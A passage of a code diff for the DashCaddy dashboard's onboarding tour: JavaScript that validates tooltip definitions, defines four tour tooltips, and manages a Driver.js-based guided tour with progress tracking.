|
errors
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Validate an array of tooltip definitions
|
* Validate an array of tooltip definitions
|
||||||
* @param {Array} tooltips - Array of tooltip definitions
|
* @param {Array} tooltips - Array of tooltip definitions
|
||||||
* @returns {Object} { valid: boolean, errors: Object[] }
|
* @returns {Object} { valid: boolean, errors: Object[] }
|
||||||
*/
|
*/
|
||||||
function validateTooltipDefinitions(tooltips) {
|
function validateTooltipDefinitions(tooltips) {
|
||||||
if (!Array.isArray(tooltips)) {
|
if (!Array.isArray(tooltips)) {
|
||||||
return {
|
return {
|
||||||
valid: false,
|
valid: false,
|
||||||
errors: [{ tooltip: null, errors: ['tooltips must be an array'] }]
|
errors: [{ tooltip: null, errors: ['tooltips must be an array'] }]
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
const allErrors = [];
|
const allErrors = [];
|
||||||
const ids = new Set();
|
const ids = new Set();
|
||||||
|
|
||||||
tooltips.forEach((tooltip, index) => {
|
tooltips.forEach((tooltip, index) => {
|
||||||
const validation = validateTooltipDefinition(tooltip);
|
const validation = validateTooltipDefinition(tooltip);
|
||||||
|
|
||||||
if (!validation.valid) {
|
if (!validation.valid) {
|
||||||
allErrors.push({
|
allErrors.push({
|
||||||
tooltip: tooltip.id || `index ${index}`,
|
tooltip: tooltip.id || `index ${index}`,
|
||||||
errors: validation.errors
|
errors: validation.errors
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
// Check for duplicate IDs
|
// Check for duplicate IDs
|
||||||
if (tooltip.id) {
|
if (tooltip.id) {
|
||||||
if (ids.has(tooltip.id)) {
|
if (ids.has(tooltip.id)) {
|
||||||
allErrors.push({
|
allErrors.push({
|
||||||
tooltip: tooltip.id,
|
tooltip: tooltip.id,
|
||||||
errors: [`Duplicate tooltip ID: ${tooltip.id}`]
|
errors: [`Duplicate tooltip ID: ${tooltip.id}`]
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
ids.add(tooltip.id);
|
ids.add(tooltip.id);
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
return {
|
return {
|
||||||
valid: allErrors.length === 0,
|
valid: allErrors.length === 0,
|
||||||
errors: allErrors
|
errors: allErrors
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Error handler for tooltip system
|
* Error handler for tooltip system
|
||||||
*/
|
*/
|
||||||
class TooltipError extends Error {
|
class TooltipError extends Error {
|
||||||
constructor(message, tooltipId = null) {
|
constructor(message, tooltipId = null) {
|
||||||
super(message);
|
super(message);
|
||||||
this.name = 'TooltipError';
|
this.name = 'TooltipError';
|
||||||
this.tooltipId = tooltipId;
|
this.tooltipId = tooltipId;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Handle tooltip definition errors
|
* Handle tooltip definition errors
|
||||||
* @param {Object} validation - Validation result
|
* @param {Object} validation - Validation result
|
||||||
* @throws {TooltipError} If validation fails
|
* @throws {TooltipError} If validation fails
|
||||||
*/
|
*/
|
||||||
function handleValidationErrors(validation) {
|
function handleValidationErrors(validation) {
|
||||||
if (!validation.valid) {
|
if (!validation.valid) {
|
||||||
const errorMessages = validation.errors.map(e =>
|
const errorMessages = validation.errors.map(e =>
|
||||||
`${e.tooltip}: ${e.errors.join(', ')}`
|
`${e.tooltip}: ${e.errors.join(', ')}`
|
||||||
).join('\n');
|
).join('\n');
|
||||||
|
|
||||||
console.error('[TooltipDefinitions] Validation errors:', errorMessages);
|
console.error('[TooltipDefinitions] Validation errors:', errorMessages);
|
||||||
throw new TooltipError(`Tooltip validation failed:\n${errorMessages}`);
|
throw new TooltipError(`Tooltip validation failed:\n${errorMessages}`);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Export to global scope
|
// Export to global scope
|
||||||
window.TooltipValidation = {
|
window.TooltipValidation = {
|
||||||
validateTooltipDefinition,
|
validateTooltipDefinition,
|
||||||
validateTooltipDefinitions,
|
validateTooltipDefinitions,
|
||||||
handleValidationErrors,
|
handleValidationErrors,
|
||||||
TooltipError
|
TooltipError
|
||||||
};
|
};
|
||||||
|
|
||||||
console.log('[TooltipDefinitions] Validation module loaded');
|
console.log('[TooltipDefinitions] Validation module loaded');
|
||||||
|
|
||||||
})(window);
|
})(window);
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Tooltip Definitions Array
|
* Tooltip Definitions Array
|
||||||
* Defines all tooltips for the onboarding tour
|
* Defines all tooltips for the onboarding tour
|
||||||
*/
|
*/
|
||||||
const TOOLTIP_DEFINITIONS = [
|
const TOOLTIP_DEFINITIONS = [
|
||||||
// 1. Welcome tooltip pointing to logo
|
// 1. Welcome tooltip pointing to logo
|
||||||
{
|
{
|
||||||
id: 'welcome',
|
id: 'welcome',
|
||||||
element: '#brand',
|
element: '#brand',
|
||||||
popover: {
|
popover: {
|
||||||
title: 'Welcome to DashCaddy!',
|
title: 'Welcome to DashCaddy!',
|
||||||
description: `
|
description: `
|
||||||
<p>Your personal dashboard for managing services with Caddy reverse proxy.</p>
|
<p>Your personal dashboard for managing services with Caddy reverse proxy.</p>
|
||||||
<p>Let's take a quick tour to help you get started.</p>
|
<p>Let's take a quick tour to help you get started.</p>
|
||||||
<p style="margin-top: 8px; font-size: 0.85rem; opacity: 0.8;">Tip: You can customize this logo in Settings.</p>
|
<p style="margin-top: 8px; font-size: 0.85rem; opacity: 0.8;">Tip: You can customize this logo in Settings.</p>
|
||||||
`,
|
`,
|
||||||
position: 'bottom',
|
position: 'bottom',
|
||||||
align: 'start',
|
align: 'start',
|
||||||
showButtons: ['next'],
|
showButtons: ['next'],
|
||||||
showProgress: true
|
showProgress: true
|
||||||
},
|
},
|
||||||
priority: 1,
|
priority: 1,
|
||||||
isNewFeature: false
|
isNewFeature: false
|
||||||
},
|
},
|
||||||
|
|
||||||
// 2. Add Service button
|
// 2. Add Service button
|
||||||
{
|
{
|
||||||
id: 'add-service',
|
id: 'add-service',
|
||||||
element: '#add-service-btn',
|
element: '#add-service-btn',
|
||||||
popover: {
|
popover: {
|
||||||
title: 'Adding New Services',
|
title: 'Adding New Services',
|
||||||
description: `
|
description: `
|
||||||
<p>Click <strong>+ Add Service</strong> to deploy new apps or add existing services to your dashboard.</p>
|
<p>Click <strong>+ Add Service</strong> to deploy new apps or add existing services to your dashboard.</p>
|
||||||
<p>Choose from 50+ templates including:</p>
|
<p>Choose from 50+ templates including:</p>
|
||||||
<ul>
|
<ul>
|
||||||
<li>Media servers (Plex, Jellyfin, Emby)</li>
|
<li>Media servers (Plex, Jellyfin, Emby)</li>
|
||||||
<li>Download managers (qBittorrent, Transmission)</li>
|
<li>Download managers (qBittorrent, Transmission)</li>
|
||||||
<li>DNS servers (Technitium, Pi-hole)</li>
|
<li>DNS servers (Technitium, Pi-hole)</li>
|
||||||
</ul>
|
</ul>
|
||||||
`,
|
`,
|
||||||
position: 'bottom',
|
position: 'bottom',
|
||||||
showButtons: ['previous', 'next'],
|
showButtons: ['previous', 'next'],
|
||||||
showProgress: true
|
showProgress: true
|
||||||
},
|
},
|
||||||
priority: 2,
|
priority: 2,
|
||||||
isNewFeature: false,
|
isNewFeature: false,
|
||||||
condition: () => {
|
condition: () => {
|
||||||
return document.getElementById('add-service-btn') !== null;
|
return document.getElementById('add-service-btn') !== null;
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
|
||||||
// 3. App Grid explanation
|
// 3. App Grid explanation
|
||||||
{
|
{
|
||||||
id: 'app-grid',
|
id: 'app-grid',
|
||||||
element: '#cards',
|
element: '#cards',
|
||||||
popover: {
|
popover: {
|
||||||
title: 'Your Services',
|
title: 'Your Services',
|
||||||
description: `
|
description: `
|
||||||
<p>This is your service grid where all your deployed applications appear.</p>
|
<p>This is your service grid where all your deployed applications appear.</p>
|
||||||
<p>Each card shows:</p>
|
<p>Each card shows:</p>
|
||||||
<ul>
|
<ul>
|
||||||
<li>Service status (online/offline)</li>
|
<li>Service status (online/offline)</li>
|
||||||
<li>Response time</li>
|
<li>Response time</li>
|
||||||
<li>Quick actions (restart, open, logs, settings)</li>
|
<li>Quick actions (restart, open, logs, settings)</li>
|
||||||
</ul>
|
</ul>
|
||||||
`,
|
`,
|
||||||
position: 'top',
|
position: 'top',
|
||||||
showButtons: ['previous', 'next'],
|
showButtons: ['previous', 'next'],
|
||||||
showProgress: true
|
showProgress: true
|
||||||
},
|
},
|
||||||
priority: 3,
|
priority: 3,
|
||||||
isNewFeature: false
|
isNewFeature: false
|
||||||
},
|
},
|
||||||
|
|
||||||
// 4. Theme selector
|
// 4. Theme selector
|
||||||
{
|
{
|
||||||
id: 'theme-selector',
|
id: 'theme-selector',
|
||||||
element: '#theme',
|
element: '#theme',
|
||||||
popover: {
|
popover: {
|
||||||
title: 'Customize Your Theme',
|
title: 'Customize Your Theme',
|
||||||
description: `
|
description: `
|
||||||
<p>DashCaddy comes with 7 themes. Click here to switch between them.</p>
|
<p>DashCaddy comes with 7 themes. Click here to switch between them.</p>
|
||||||
<p>Your preference is saved automatically.</p>
|
<p>Your preference is saved automatically.</p>
|
||||||
`,
|
`,
|
||||||
position: 'bottom',
|
position: 'bottom',
|
||||||
showButtons: ['previous', 'close'],
|
showButtons: ['previous', 'close'],
|
||||||
showProgress: true
|
showProgress: true
|
||||||
},
|
},
|
||||||
priority: 4,
|
priority: 4,
|
||||||
isNewFeature: false,
|
isNewFeature: false,
|
||||||
condition: () => {
|
condition: () => {
|
||||||
return document.getElementById('theme') !== null;
|
return document.getElementById('theme') !== null;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
];
|
];
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Get tooltip definitions
|
* Get tooltip definitions
|
||||||
* @returns {Array} Array of tooltip definitions
|
* @returns {Array} Array of tooltip definitions
|
||||||
*/
|
*/
|
||||||
function getTooltipDefinitions() {
|
function getTooltipDefinitions() {
|
||||||
return TOOLTIP_DEFINITIONS;
|
return TOOLTIP_DEFINITIONS;
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Get a specific tooltip by ID
|
* Get a specific tooltip by ID
|
||||||
* @param {string} id - Tooltip ID
|
* @param {string} id - Tooltip ID
|
||||||
* @returns {Object|null} Tooltip definition or null if not found
|
* @returns {Object|null} Tooltip definition or null if not found
|
||||||
*/
|
*/
|
||||||
function getTooltipById(id) {
|
function getTooltipById(id) {
|
||||||
return TOOLTIP_DEFINITIONS.find(t => t.id === id) || null;
|
return TOOLTIP_DEFINITIONS.find(t => t.id === id) || null;
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Get tooltips filtered by condition
|
* Get tooltips filtered by condition
|
||||||
* @returns {Array} Array of tooltips that pass their condition check
|
* @returns {Array} Array of tooltips that pass their condition check
|
||||||
*/
|
*/
|
||||||
function getActiveTooltips() {
|
function getActiveTooltips() {
|
||||||
return TOOLTIP_DEFINITIONS.filter(tooltip => {
|
return TOOLTIP_DEFINITIONS.filter(tooltip => {
|
||||||
if (tooltip.condition && typeof tooltip.condition === 'function') {
|
if (tooltip.condition && typeof tooltip.condition === 'function') {
|
||||||
try {
|
try {
|
||||||
return tooltip.condition();
|
return tooltip.condition();
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
console.error(`[TooltipDefinitions] Error evaluating condition for ${tooltip.id}:`, error);
|
console.error(`[TooltipDefinitions] Error evaluating condition for ${tooltip.id}:`, error);
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return true;
|
return true;
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Get tooltips sorted by priority
|
* Get tooltips sorted by priority
|
||||||
* @returns {Array} Array of tooltips sorted by priority (ascending)
|
* @returns {Array} Array of tooltips sorted by priority (ascending)
|
||||||
*/
|
*/
|
||||||
function getSortedTooltips() {
|
function getSortedTooltips() {
|
||||||
const tooltips = getActiveTooltips();
|
const tooltips = getActiveTooltips();
|
||||||
return tooltips.sort((a, b) => {
|
return tooltips.sort((a, b) => {
|
||||||
const priorityA = a.priority || 999;
|
const priorityA = a.priority || 999;
|
||||||
const priorityB = b.priority || 999;
|
const priorityB = b.priority || 999;
|
||||||
return priorityA - priorityB;
|
return priorityA - priorityB;
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Get tooltips marked as new features
|
* Get tooltips marked as new features
|
||||||
* @returns {Array} Array of tooltips marked with isNewFeature flag
|
* @returns {Array} Array of tooltips marked with isNewFeature flag
|
||||||
*/
|
*/
|
||||||
function getNewFeatureTooltips() {
|
function getNewFeatureTooltips() {
|
||||||
const tooltips = getActiveTooltips();
|
const tooltips = getActiveTooltips();
|
||||||
return tooltips.filter(tooltip => tooltip.isNewFeature === true)
|
return tooltips.filter(tooltip => tooltip.isNewFeature === true)
|
||||||
.sort((a, b) => {
|
.sort((a, b) => {
|
||||||
const priorityA = a.priority || 999;
|
const priorityA = a.priority || 999;
|
||||||
const priorityB = b.priority || 999;
|
const priorityB = b.priority || 999;
|
||||||
return priorityA - priorityB;
|
return priorityA - priorityB;
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
// Export to global scope
|
// Export to global scope
|
||||||
window.TooltipDefinitions = {
|
window.TooltipDefinitions = {
|
||||||
TOOLTIP_DEFINITIONS,
|
TOOLTIP_DEFINITIONS,
|
||||||
getTooltipDefinitions,
|
getTooltipDefinitions,
|
||||||
getTooltipById,
|
getTooltipById,
|
||||||
getActiveTooltips,
|
getActiveTooltips,
|
||||||
getSortedTooltips,
|
getSortedTooltips,
|
||||||
getNewFeatureTooltips
|
getNewFeatureTooltips
|
||||||
};
|
};
|
||||||
|
|
||||||
console.log('[TooltipDefinitions] Definitions loaded:', TOOLTIP_DEFINITIONS.length, 'tooltips');
|
console.log('[TooltipDefinitions] Definitions loaded:', TOOLTIP_DEFINITIONS.length, 'tooltips');
|
||||||
|
|
||||||
|
|||||||
@@ -1,363 +1,363 @@
|
|||||||
/**
|
/**
|
||||||
* Tour Manager
|
* Tour Manager
|
||||||
* Orchestrates the onboarding tour using Driver.js
|
* Orchestrates the onboarding tour using Driver.js
|
||||||
*/
|
*/
|
||||||
|
|
||||||
(function(window) {
|
(function(window) {
|
||||||
'use strict';
|
'use strict';
|
||||||
|
|
||||||
class TourManager {
|
class TourManager {
|
||||||
constructor(progressTracker, themeAdapter, dnsTemplateSelector) {
|
constructor(progressTracker, themeAdapter, dnsTemplateSelector) {
|
||||||
this.progressTracker = progressTracker;
|
this.progressTracker = progressTracker;
|
||||||
this.themeAdapter = themeAdapter;
|
this.themeAdapter = themeAdapter;
|
||||||
this.dnsTemplateSelector = dnsTemplateSelector;
|
this.dnsTemplateSelector = dnsTemplateSelector;
|
||||||
this.driver = null;
|
this.driver = null;
|
||||||
this.currentStepIndex = 0;
|
this.currentStepIndex = 0;
|
||||||
this.isActive = false;
|
this.isActive = false;
|
||||||
this.resizeHandler = null;
|
this.resizeHandler = null;
|
||||||
this.layoutChangeHandler = null;
|
this.layoutChangeHandler = null;
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Initialize Driver.js with theme-aware configuration
|
* Initialize Driver.js with theme-aware configuration
|
||||||
*/
|
*/
|
||||||
async initializeDriver() {
|
async initializeDriver() {
|
||||||
// Driver.js v1.x IIFE: window.driver.js.driver is the factory function
|
// Driver.js v1.x IIFE: window.driver.js.driver is the factory function
|
||||||
const driverFactory = window.driver?.js?.driver || window.driver?.driver || window.driver;
|
const driverFactory = window.driver?.js?.driver || window.driver?.driver || window.driver;
|
||||||
|
|
||||||
if (typeof driverFactory !== 'function') {
|
if (typeof driverFactory !== 'function') {
|
||||||
console.error('[TourManager] Driver.js not loaded or invalid. window.driver:', window.driver);
|
console.error('[TourManager] Driver.js not loaded or invalid. window.driver:', window.driver);
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
const themeConfig = this.themeAdapter.getDriverTheme();
|
const themeConfig = this.themeAdapter.getDriverTheme();
|
||||||
|
|
||||||
this.driver = driverFactory({
|
this.driver = driverFactory({
|
||||||
showProgress: true,
|
showProgress: true,
|
||||||
showButtons: ['next', 'previous', 'close'],
|
showButtons: ['next', 'previous', 'close'],
|
||||||
allowClose: true,
|
allowClose: true,
|
||||||
overlayClickNext: false,
|
overlayClickNext: false,
|
||||||
overlayOpacity: 0,
|
overlayOpacity: 0,
|
||||||
stagePadding: 0,
|
stagePadding: 0,
|
||||||
stageRadius: 0,
|
stageRadius: 0,
|
||||||
allowKeyboardControl: true,
|
allowKeyboardControl: true,
|
||||||
popoverClass: 'dashcaddy-popover',
|
popoverClass: 'dashcaddy-popover',
|
||||||
onDestroyed: () => this.onTourComplete(),
|
onDestroyed: () => this.onTourComplete(),
|
||||||
onDestroyStarted: () => {
|
onDestroyStarted: () => {
|
||||||
if (!this.progressTracker.isTourCompleted()) {
|
if (!this.progressTracker.isTourCompleted()) {
|
||||||
this.onTourSkip();
|
this.onTourSkip();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
// Apply theme
|
// Apply theme
|
||||||
this.themeAdapter.applyTheme(this.driver);
|
this.themeAdapter.applyTheme(this.driver);
|
||||||
|
|
||||||
// Listen for theme changes
|
// Listen for theme changes
|
||||||
this.themeAdapter.onThemeChange(() => {
|
this.themeAdapter.onThemeChange(() => {
|
||||||
this.themeAdapter.applyTheme(this.driver);
|
this.themeAdapter.applyTheme(this.driver);
|
||||||
});
|
});
|
||||||
|
|
||||||
// Set up dynamic repositioning
|
// Set up dynamic repositioning
|
||||||
this.setupDynamicRepositioning();
|
this.setupDynamicRepositioning();
|
||||||
|
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Check if tour should auto-start
|
* Check if tour should auto-start
|
||||||
*/
|
*/
|
||||||
shouldAutoStart() {
|
shouldAutoStart() {
|
||||||
return !this.progressTracker.isTourCompleted() &&
|
return !this.progressTracker.isTourCompleted() &&
|
||||||
this.progressTracker.getCurrentStep() === 0;
|
this.progressTracker.getCurrentStep() === 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Start the onboarding tour
|
* Start the onboarding tour
|
||||||
*/
|
*/
|
||||||
async startTour() {
|
async startTour() {
|
||||||
if (!this.driver) {
|
if (!this.driver) {
|
||||||
const initialized = await this.initializeDriver();
|
const initialized = await this.initializeDriver();
|
||||||
if (!initialized) return;
|
if (!initialized) return;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Get active tooltips (filtered by conditions)
|
// Get active tooltips (filtered by conditions)
|
||||||
const allTooltips = window.TooltipDefinitions.getSortedTooltips();
|
const allTooltips = window.TooltipDefinitions.getSortedTooltips();
|
||||||
|
|
||||||
// Filter out completed tooltips
|
// Filter out completed tooltips
|
||||||
const completedIds = this.progressTracker.getCompletedTooltips();
|
const completedIds = this.progressTracker.getCompletedTooltips();
|
||||||
const activeTooltips = allTooltips.filter(t => !completedIds.includes(t.id));
|
const activeTooltips = allTooltips.filter(t => !completedIds.includes(t.id));
|
||||||
|
|
||||||
if (activeTooltips.length === 0) {
|
if (activeTooltips.length === 0) {
|
||||||
console.log('[TourManager] No tooltips to show');
|
console.log('[TourManager] No tooltips to show');
|
||||||
this.progressTracker.markTourCompleted();
|
this.progressTracker.markTourCompleted();
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Convert to Driver.js steps with navigation logic
|
// Convert to Driver.js steps with navigation logic
|
||||||
const steps = activeTooltips.map((tooltip, index) => {
|
const steps = activeTooltips.map((tooltip, index) => {
|
||||||
const isFirst = index === 0;
|
const isFirst = index === 0;
|
||||||
const isLast = index === activeTooltips.length - 1;
|
const isLast = index === activeTooltips.length - 1;
|
||||||
|
|
||||||
const step = {
|
const step = {
|
||||||
element: tooltip.element,
|
element: tooltip.element,
|
||||||
popover: {
|
popover: {
|
||||||
title: tooltip.popover.title,
|
title: tooltip.popover.title,
|
||||||
description: tooltip.popover.description,
|
description: tooltip.popover.description,
|
||||||
side: tooltip.popover.position || 'bottom',
|
side: tooltip.popover.position || 'bottom',
|
||||||
align: tooltip.popover.align || 'start',
|
align: tooltip.popover.align || 'start',
|
||||||
showButtons: this._getButtonsForStep(tooltip, isFirst, isLast),
|
showButtons: this._getButtonsForStep(tooltip, isFirst, isLast),
|
||||||
showProgress: tooltip.popover.showProgress !== false,
|
showProgress: tooltip.popover.showProgress !== false,
|
||||||
onNextClick: () => {
|
onNextClick: () => {
|
||||||
this.progressTracker.markTooltipCompleted(tooltip.id);
|
this.progressTracker.markTooltipCompleted(tooltip.id);
|
||||||
this.progressTracker.setCurrentStep(index + 1);
|
this.progressTracker.setCurrentStep(index + 1);
|
||||||
this.currentStepIndex = index + 1;
|
this.currentStepIndex = index + 1;
|
||||||
this.driver.moveNext();
|
this.driver.moveNext();
|
||||||
},
|
},
|
||||||
onPrevClick: () => {
|
onPrevClick: () => {
|
||||||
this.progressTracker.setCurrentStep(Math.max(0, index - 1));
|
this.progressTracker.setCurrentStep(Math.max(0, index - 1));
|
||||||
this.currentStepIndex = Math.max(0, index - 1);
|
this.currentStepIndex = Math.max(0, index - 1);
|
||||||
this.driver.movePrevious();
|
this.driver.movePrevious();
|
||||||
},
|
},
|
||||||
onCloseClick: () => {
|
onCloseClick: () => {
|
||||||
this.skipTour();
|
this.skipTour();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
// Add custom handlers for DNS tooltip
|
// Add custom handlers for DNS tooltip
|
||||||
if (tooltip.id === 'dns-priority' && this.dnsTemplateSelector) {
|
if (tooltip.id === 'dns-priority' && this.dnsTemplateSelector) {
|
||||||
step.popover.onSetupNowClick = () => {
|
step.popover.onSetupNowClick = () => {
|
||||||
console.log('[TourManager] Opening DNS template selector');
|
console.log('[TourManager] Opening DNS template selector');
|
||||||
this.dnsTemplateSelector.showTemplateSelector();
|
this.dnsTemplateSelector.showTemplateSelector();
|
||||||
// Mark tooltip as completed and move to next
|
// Mark tooltip as completed and move to next
|
||||||
this.progressTracker.markTooltipCompleted(tooltip.id);
|
this.progressTracker.markTooltipCompleted(tooltip.id);
|
||||||
this.progressTracker.setCurrentStep(index + 1);
|
this.progressTracker.setCurrentStep(index + 1);
|
||||||
this.currentStepIndex = index + 1;
|
this.currentStepIndex = index + 1;
|
||||||
this.driver.moveNext();
|
this.driver.moveNext();
|
||||||
};
|
};
|
||||||
|
|
||||||
step.popover.onLaterClick = () => {
|
step.popover.onLaterClick = () => {
|
||||||
console.log('[TourManager] DNS setup deferred');
|
console.log('[TourManager] DNS setup deferred');
|
||||||
this.progressTracker.markDnsSetupDeferred();
|
this.progressTracker.markDnsSetupDeferred();
|
||||||
// Mark tooltip as completed and move to next
|
// Mark tooltip as completed and move to next
|
||||||
this.progressTracker.markTooltipCompleted(tooltip.id);
|
this.progressTracker.markTooltipCompleted(tooltip.id);
|
||||||
this.progressTracker.setCurrentStep(index + 1);
|
this.progressTracker.setCurrentStep(index + 1);
|
||||||
this.currentStepIndex = index + 1;
|
this.currentStepIndex = index + 1;
|
||||||
this.driver.moveNext();
|
this.driver.moveNext();
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
return step;
|
return step;
|
||||||
});
|
});
|
||||||
|
|
||||||
this.isActive = true;
|
this.isActive = true;
|
||||||
this.driver.setSteps(steps);
|
this.driver.setSteps(steps);
|
||||||
this.driver.drive();
|
this.driver.drive();
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Resume tour from last step
|
* Resume tour from last step
|
||||||
*/
|
*/
|
||||||
async resumeTour() {
|
async resumeTour() {
|
||||||
const currentStep = this.progressTracker.getCurrentStep();
|
const currentStep = this.progressTracker.getCurrentStep();
|
||||||
if (currentStep > 0) {
|
if (currentStep > 0) {
|
||||||
await this.startTour();
|
await this.startTour();
|
||||||
// Driver.js will start from beginning, we'd need to skip to current step
|
// Driver.js will start from beginning, we'd need to skip to current step
|
||||||
// This is a simplified implementation
|
// This is a simplified implementation
|
||||||
} else {
|
} else {
|
||||||
await this.startTour();
|
await this.startTour();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Skip the entire tour
|
* Skip the entire tour
|
||||||
*/
|
*/
|
||||||
skipTour() {
|
skipTour() {
|
||||||
if (this.driver) {
|
if (this.driver) {
|
||||||
this.driver.destroy();
|
this.driver.destroy();
|
||||||
}
|
}
|
||||||
this.cleanupDynamicRepositioning();
|
this.cleanupDynamicRepositioning();
|
||||||
this.isActive = false;
|
this.isActive = false;
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Restart tour from beginning
|
* Restart tour from beginning
|
||||||
*/
|
*/
|
||||||
async restartTour() {
|
async restartTour() {
|
||||||
this.progressTracker.resetProgress();
|
this.progressTracker.resetProgress();
|
||||||
await this.startTour();
|
await this.startTour();
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Show a specific tooltip by ID
|
* Show a specific tooltip by ID
|
||||||
*/
|
*/
|
||||||
async showTooltip(tooltipId) {
|
async showTooltip(tooltipId) {
|
||||||
const tooltip = window.TooltipDefinitions.getTooltipById(tooltipId);
|
const tooltip = window.TooltipDefinitions.getTooltipById(tooltipId);
|
||||||
if (!tooltip) {
|
if (!tooltip) {
|
||||||
console.error(`[TourManager] Tooltip not found: ${tooltipId}`);
|
console.error(`[TourManager] Tooltip not found: ${tooltipId}`);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!this.driver) {
|
if (!this.driver) {
|
||||||
await this.initializeDriver();
|
await this.initializeDriver();
|
||||||
}
|
}
|
||||||
|
|
||||||
const step = {
|
const step = {
|
||||||
element: tooltip.element,
|
element: tooltip.element,
|
||||||
popover: {
|
popover: {
|
||||||
title: tooltip.popover.title,
|
title: tooltip.popover.title,
|
||||||
description: tooltip.popover.description,
|
description: tooltip.popover.description,
|
||||||
side: tooltip.popover.position || 'bottom',
|
side: tooltip.popover.position || 'bottom',
|
||||||
align: tooltip.popover.align || 'start'
|
align: tooltip.popover.align || 'start'
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
this.driver.highlight(step);
|
this.driver.highlight(step);
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Show "What's New" tour - only tooltips marked as new features
|
* Show "What's New" tour - only tooltips marked as new features
|
||||||
*/
|
*/
|
||||||
async showWhatsNew() {
|
async showWhatsNew() {
|
||||||
if (!this.driver) {
|
if (!this.driver) {
|
||||||
const initialized = await this.initializeDriver();
|
const initialized = await this.initializeDriver();
|
||||||
if (!initialized) return;
|
if (!initialized) return;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Get only new feature tooltips
|
// Get only new feature tooltips
|
||||||
const newFeatureTooltips = window.TooltipDefinitions.getNewFeatureTooltips();
|
const newFeatureTooltips = window.TooltipDefinitions.getNewFeatureTooltips();
|
||||||
|
|
||||||
if (newFeatureTooltips.length === 0) {
|
if (newFeatureTooltips.length === 0) {
|
||||||
console.log('[TourManager] No new features to show');
|
console.log('[TourManager] No new features to show');
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
console.log(`[TourManager] Showing ${newFeatureTooltips.length} new features`);
|
console.log(`[TourManager] Showing ${newFeatureTooltips.length} new features`);
|
||||||
|
|
||||||
// Convert to Driver.js steps
|
// Convert to Driver.js steps
|
||||||
const steps = newFeatureTooltips.map((tooltip, index) => {
|
const steps = newFeatureTooltips.map((tooltip, index) => {
|
||||||
const isFirst = index === 0;
|
const isFirst = index === 0;
|
||||||
const isLast = index === newFeatureTooltips.length - 1;
|
const isLast = index === newFeatureTooltips.length - 1;
|
||||||
|
|
||||||
return {
|
return {
|
||||||
element: tooltip.element,
|
element: tooltip.element,
|
||||||
popover: {
|
popover: {
|
||||||
title: `✨ NEW: ${tooltip.popover.title}`,
|
title: `✨ NEW: ${tooltip.popover.title}`,
|
||||||
description: tooltip.popover.description,
|
description: tooltip.popover.description,
|
||||||
side: tooltip.popover.position || 'bottom',
|
side: tooltip.popover.position || 'bottom',
|
||||||
align: tooltip.popover.align || 'start',
|
align: tooltip.popover.align || 'start',
|
||||||
showButtons: this._getButtonsForStep(tooltip, isFirst, isLast),
|
showButtons: this._getButtonsForStep(tooltip, isFirst, isLast),
|
||||||
showProgress: true,
|
showProgress: true,
|
||||||
onNextClick: () => {
|
onNextClick: () => {
|
||||||
this.driver.moveNext();
|
this.driver.moveNext();
|
||||||
},
|
},
|
||||||
onPrevClick: () => {
|
onPrevClick: () => {
|
||||||
this.driver.movePrevious();
|
this.driver.movePrevious();
|
||||||
},
|
},
|
||||||
onCloseClick: () => {
|
onCloseClick: () => {
|
||||||
this.skipTour();
|
this.skipTour();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
});
|
});
|
||||||
|
|
||||||
this.isActive = true;
|
this.isActive = true;
|
||||||
this.driver.setSteps(steps);
|
this.driver.setSteps(steps);
|
||||||
this.driver.drive();
|
this.driver.drive();
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Set up dynamic repositioning for window resize and layout changes
|
* Set up dynamic repositioning for window resize and layout changes
|
||||||
*/
|
*/
|
||||||
